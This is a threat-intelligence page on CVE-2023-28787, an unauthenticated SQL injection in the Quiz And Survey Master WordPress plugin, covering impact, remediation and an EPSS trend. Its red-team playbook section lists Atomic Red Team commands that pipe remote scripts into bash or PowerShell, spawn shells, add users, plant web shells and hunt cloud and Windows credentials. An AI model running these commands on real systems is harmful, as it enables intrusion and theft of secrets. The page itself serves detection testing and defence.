CVE-2023-28787
Overview
This vulnerability is a SQL Injection caused by improper neutralization of special elements within SQL commands in the ExpressTech Quiz And Survey Master plugin. The flaw resides in the handling of user-supplied input within the 'question_ids_1' cookie parameter, which is not properly sanitized before being incorporated into SQL queries. This improper input validation occurs in versions up to 8.1.4, affecting the core query processing mechanism of the plugin's data retrieval functionality.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ExpressTech Quiz And Survey Master.This issue affects Quiz And Survey Master: from n/a through 8.1.4.
Impact
An unauthenticated attacker can execute arbitrary SQL commands on the backend database by injecting malicious payloads via the cookie parameter. This enables extraction, modification, or deletion of sensitive data, potentially compromising the integrity and confidentiality of stored information. The attack requires no authentication and can be performed remotely, leading to data breaches, unauthorized data manipulation, and partial denial of service through database query delays.
Solution
Upgrade ExpressTech Quiz And Survey Master to version 8.1.5 or later, where this SQL injection vulnerability has been addressed. Refer to the vendor advisories and Patchstack articles for detailed patching instructions and verification steps. Applying the updated plugin version from official sources is the recommended remediation to eliminate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Quiz And Survey Master plugin arises from improper neutralization of special elements used in SQL commands, commonly known as SQL injection. This flaw allows an attacker to manipulate SQL queries by injecting malicious code into input fields that are not adequately sanitized. The affected versions of the plugin, up to 8.1.4, fail to implement sufficient validation and escaping mechanisms, making it possible for an attacker to execute arbitrary SQL commands on the underlying database. This could lead to unauthorized access to sensitive data, data manipulation, or even complete database compromise, depending on the privileges of the database user associated with the application.
Attack vectors for exploiting this vulnerability are diverse and can be executed through various means, including web forms, URL parameters, or API endpoints that interact with the database. For instance, an attacker could craft a malicious input that alters the intended SQL query, allowing them to retrieve user credentials, manipulate survey results, or extract confidential information stored within the database. Exploitation could be automated using scripts or tools designed to scan for SQL injection vulnerabilities, making it accessible even to those with limited technical expertise. Additionally, the potential for blind SQL injection attacks exists, where an attacker can infer information about the database structure without directly seeing the results of their queries.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on the Quiz And Survey Master plugin for data collection and analysis. A successful attack could lead to data breaches, exposing personally identifiable information (PII) of users, which may result in regulatory penalties, loss of customer trust, and reputational damage. Furthermore, the financial implications of such breaches can be substantial, encompassing costs related to incident response, legal fees, and potential compensation for affected users. Businesses may also face operational disruptions as they work to remediate the vulnerabilities and restore the integrity of their systems.
To detect and mitigate this SQL injection vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities in web applications. Implementing Web Application Firewalls (WAFs) can provide an additional layer of protection by filtering out malicious input before it reaches the application. Moreover, developers should adhere to secure coding practices, such as using prepared statements and parameterized queries, which can effectively prevent SQL injection attacks by separating SQL code from user input. Continuous monitoring of application logs for unusual patterns of access or error messages can also aid in early detection of exploitation attempts.
In conclusion, the SQL injection vulnerability in the Quiz And Survey Master plugin poses a critical risk to organizations utilizing this software. The potential for data breaches and the associated business risks underscore the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can safeguard their applications and protect sensitive data from exploitation. As the threat landscape continues to evolve, maintaining a strong security posture is essential for minimizing vulnerabilities and ensuring the integrity of web applications.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-28787, rising by nearly 39% to a current level placing it in the 97th percentile. This upward trend, while not classified as rapidly accelerating, indicates growing confidence in the likelihood of exploitation attempts targeting the SQL injection vulnerability in the ExpressTech Quiz And Survey Master plugin. Although no new exploit code or active campaigns have been detected by our telemetry, the elevated EPSS score suggests that threat actors may be preparing or testing exploits, increasing the potential attack surface. For defenders, this shift underscores the urgency of maintaining vigilant monitoring and reinforces the criticality of this vulnerability within the threat landscape. Consequently, the risk level associated with CVE-2023-28787 should be considered heightened, reflecting an increased probability of exploitation despite the absence of confirmed active attacks at this time.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28787 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/quiz-master-next/wordpress-quiz-and-survey-master-plugin-8-1-4-unauthenticated-sql-injection-vulnerability?_s_id=cve |